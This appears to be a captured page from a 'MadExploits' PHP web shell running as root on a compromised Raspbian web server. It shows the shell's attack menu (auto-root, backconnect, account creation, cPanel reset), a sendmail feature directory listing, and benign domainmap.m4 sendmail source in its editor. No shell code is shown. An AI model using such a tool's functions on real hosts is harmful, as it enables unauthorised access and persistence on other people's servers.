Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
sendmail /
cf /
feature /
[ HOME SHELL ]
Name
Size
Permission
Action
accept_unqualified_senders.m4
413
B
-rw-r--r--
accept_unresolvable_domains.m4
416
B
-rw-r--r--
access_db.m4
2.2
KB
-rw-r--r--
allmasquerade.m4
755
B
-rw-r--r--
always_add_domain.m4
694
B
-rw-r--r--
authinfo.m4
868
B
-rw-r--r--
badmx.m4
586
B
-rw-r--r--
bcc.m4
2.63
KB
-rw-r--r--
bestmx_is_local.m4
1.65
KB
-rw-r--r--
bitdomain.m4
996
B
-rw-r--r--
blacklist_recipients.m4
510
B
-rw-r--r--
block_bad_helo.m4
552
B
-rw-r--r--
compat_check.m4
1.13
KB
-rw-r--r--
conncontrol.m4
1.14
KB
-rw-r--r--
delay_checks.m4
772
B
-rw-r--r--
dnsbl.m4
1.4
KB
-rw-r--r--
domainmap.m4
4.25
KB
-rw-r--r--
domaintable.m4
1009
B
-rw-r--r--
drac.m4
121
B
-rw-r--r--
enhdnsbl.m4
1.91
KB
-rw-r--r--
generics_entire_domain.m4
399
B
-rw-r--r--
genericstable.m4
1022
B
-rw-r--r--
greet_pause.m4
1.23
KB
-rw-r--r--
ldap_routing.m4
1.92
KB
-rw-r--r--
limited_masquerade.m4
553
B
-rw-r--r--
local_lmtp.m4
795
B
-rw-r--r--
local_no_masquerade.m4
506
B
-rw-r--r--
local_procmail.m4
1.12
KB
-rw-r--r--
lookupdotdomain.m4
632
B
-rw-r--r--
loose_relay_check.m4
395
B
-rw-r--r--
mailertable.m4
1013
B
-rw-r--r--
masquerade_entire_domain.m4
565
B
-rw-r--r--
masquerade_envelope.m4
555
B
-rw-r--r--
msp.m4
2.91
KB
-rw-r--r--
mtamark.m4
1.14
KB
-rw-r--r--
no_default_msa.m4
382
B
-rw-r--r--
nocanonify.m4
743
B
-rw-r--r--
nopercenthack.m4
891
B
-rw-r--r--
notsticky.m4
612
B
-rw-r--r--
nouucp.m4
849
B
-rw-r--r--
nullclient.m4
1.16
KB
-rw-r--r--
prefixmod.m4
703
B
-rw-r--r--
preserve_local_plus_detail.m4
409
B
-rw-r--r--
preserve_luser_host.m4
550
B
-rw-r--r--
promiscuous_relay.m4
557
B
-rw-r--r--
queuegroup.m4
624
B
-rw-r--r--
ratecontrol.m4
1.14
KB
-rw-r--r--
redirect.m4
827
B
-rw-r--r--
relay_based_on_MX.m4
492
B
-rw-r--r--
relay_entire_domain.m4
400
B
-rw-r--r--
relay_hosts_only.m4
394
B
-rw-r--r--
relay_local_from.m4
591
B
-rw-r--r--
relay_mail_from.m4
698
B
-rw-r--r--
require_rdns.m4
383
B
-rw-r--r--
rhsbl.m4
1.48
KB
-rw-r--r--
smrsh.m4
771
B
-rw-r--r--
stickyhost.m4
546
B
-rw-r--r--
tls_session_features.m4
395
B
-rw-r--r--
use_client_ptr.m4
503
B
-rw-r--r--
use_ct_file.m4
707
B
-rw-r--r--
use_cw_file.m4
766
B
-rw-r--r--
uucpdomain.m4
990
B
-rw-r--r--
virtuser_entire_domain.m4
399
B
-rw-r--r--
virtusertable.m4
1019
B
-rw-r--r--
vnet.m4
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : domainmap.m4
divert(-1)changequote(<<, >>)<< ----------------------------------------------------------------------------- FEATURE(domainmap) Macro The existing virtusertable feature distributed with sendmail is a good basic approach to virtual hosting, but it is missing a few key features: 1. Ability to have a different map for each domain. 2. Ability to perform virtual hosting for domains which are not in $=w. 3. Ability to use a centralized network-accessible database (such as PH) which is keyed on username alone (as opposed to the fully-qualified email address). The FEATURE(domainmap) macro neatly solves these problems. The basic syntax of the macro is: FEATURE(domainmap, `domain.com', `map definition ...')dnl To illustrate how it works, here is an example: FEATURE(domainmap, `foo.com', `dbm -o /etc/mail/foo-users')dnl In this example, mail sent to user@foo.com will be rewritten by the domainmap. The username will be looked up in the DBM map /etc/mail/foo-users, which looks like this: jsmith johnsmith@mailbox.foo.com jdoe janedoe@sandbox.bar.com So mail sent to jsmith@foo.com will be relayed to johnsmith@mailbox.foo.com, and mail sent to jdoe@foo.com will be relayed to janedoe@sandbox.bar.com. The FEATURE(domainmap) Macro supports the user+detail syntax by stripping off the +detail portion before the domainmap lookup and tacking it back on to the result. Using the example above, mail sent to jsmith+sometext@foo.com will be rewritten as johnsmith+sometext@mailbox.foo.com. If one of the elements in the $=w class (i.e., "local" delivery hosts) is a domain specified in a FEATURE(domainmap) entry, you need to use the LOCAL_USER(username) macro to specify the list of users for whom domainmap lookups should not be done. To use this macro, simply copy this file into the cf/feature directory in the sendmail source tree. For more information, please see the following URL: http://www-dev.cites.uiuc.edu/sendmail/domainmap/ Feedback is welcome. Mark D. Roth <roth@uiuc.edu> ----------------------------------------------------------------------------- >>changequote(`, ')undivert(-1)divert ifdef(`_DOMAIN_MAP_',`',`dnl LOCAL_RULE_0 # do mapping for domains where applicable R$* $=O $* <@ $={MappedDomain} .> $@ $>Recurse $1 $2 $3 Strip extraneous routing R$+ <@ $={MappedDomain} .> $>DomainMapLookup $1 <@ $2 .> domain mapping LOCAL_RULESETS ########################################################################### ### Ruleset DomainMapLookup -- special rewriting for mapped domains ### ########################################################################### SDomainMapLookup R $=L <@ $=w .> $@ $1 <@ $2 .> weed out local users, in case # Cw contains a mapped domain R $+ <@ $+> $: $1 <@ $2 > <$&{addr_type}> check if sender R $+ <@ $+> <e s> $#smtp $@ $2 $: $1 @ $2 do not process sender ifdef(`DOMAINMAP_NO_REGEX',`dnl R $+ <@ $+> <$*> $: $1 <@ $2> <$2> find domain R $+ <$+> <$+ . $+> $1 <$2> < $(dequote $3 "_" $4 $) > # change "." to "_" R $+ <$+> <$+ .> $: $1 <$2> < $(dequote "domain_" $3 $) > # prepend "domain_" dnl',`dnl R $+ <@ $+> <$*> $: $1 <@ $2> <$2 :NOTDONE:> find domain R $+ <$+> <$+ . :NOTDONE:> $1 <$2> < $(domainmap_regex $3 $: $3 $) > # change "." and "-" to "_" R $+ <$+> <$+> $: $1 <$2> < $(dequote "domain_" $3 $) > # prepend "domain_" dnl') R $+ <$+> <$+> $: $1 <$2> <$3> $1 find user name R $+ <$+> <$+> $+ + $* $: $1 <$2> <$3> $4 handle user+detail syntax R $+ <$+> <$+> $+ $: $1 <$2> $( $3 $4 $: <ERROR> $) # do actual domain map lookup R $+ <$+> <ERROR> $#error $@ 5.1.1 $: "550 email address lookup in domain map failed" R $+ <@ $+> $* <TEMP> $* $#dsmtp $@ localhost $: $1 @ $2 # queue it up for later delivery R $+ + $* <$+> $+ @ $+ $: $1 + $2 <$3> $4 + $2 @ $5 # reset original user+detail R $+ <$+> $+ $@ $>Recurse $3 recanonify ifdef(`DOMAINMAP_NO_REGEX',`',`dnl LOCAL_CONFIG K domainmap_regex regex -a.:NOTDONE: -s1,2 -d_ (.*)[-\.]([^-\.]*)$ ')define(`_DOMAIN_MAP_',`1')') LOCAL_CONFIG C{MappedDomain} _ARG_ K `domain_'translit(_ARG_, `.-', `__') _ARG2_ -T<TEMP>
Close